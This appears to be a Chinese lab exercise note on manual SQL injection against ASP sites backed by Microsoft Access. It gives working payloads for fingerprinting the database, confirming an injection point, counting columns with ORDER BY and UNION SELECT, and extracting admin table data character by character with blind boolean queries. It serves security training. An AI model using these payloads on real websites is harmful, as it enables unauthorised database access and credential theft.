练习一:Access+asp 手工暴力猜解注入
Access只有一个数据库,只有表而没有库的概念,所以(一般)使用暴力猜解的方法
Access数据库
表名
列名
数据
1)判断数据库类型
and exists (select * from msysobjects) >0 返回无数据权限等错误即不报错为access数据库
and exists (select * from sysobjects)>0 判断sql server
2)判断是否有注入点
在以asp?id=xx(任意数字)结尾的连接依次添加:
- ‘
- 1=1
- 1=2
若以上结果显示"数据库出错","正常显示","数据库出错"则该网站存在注入点
3)存在注入点后我们查看有几个字段
order by n (n为字段个数,这里22是正确,所以有22个字段)
构造个查询语句,可以看到在3,15的位置有显示,说明这两个位置可以进行查询
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
4)接下来我们猜解表名列名及数据,构造语句挨个试
查表:and exists (select * from 表名) #存在的话就返回正常 不存在就返回不正常
查列:and exists (select 列名 from 表名)
查数据:and (select top 1 len(列名) from admin)=5 #确定数据长度,=换成> < >= <=也成立,下同
and (select top 1 asc(mid(列名,位数,1)) from admin)=97 #使用acs编码确定对应位置的数据,mid是从指定列的第几位取1个数据
————感谢卿哥 组长 俊姐,步履不停
2019-05-26 21:38:48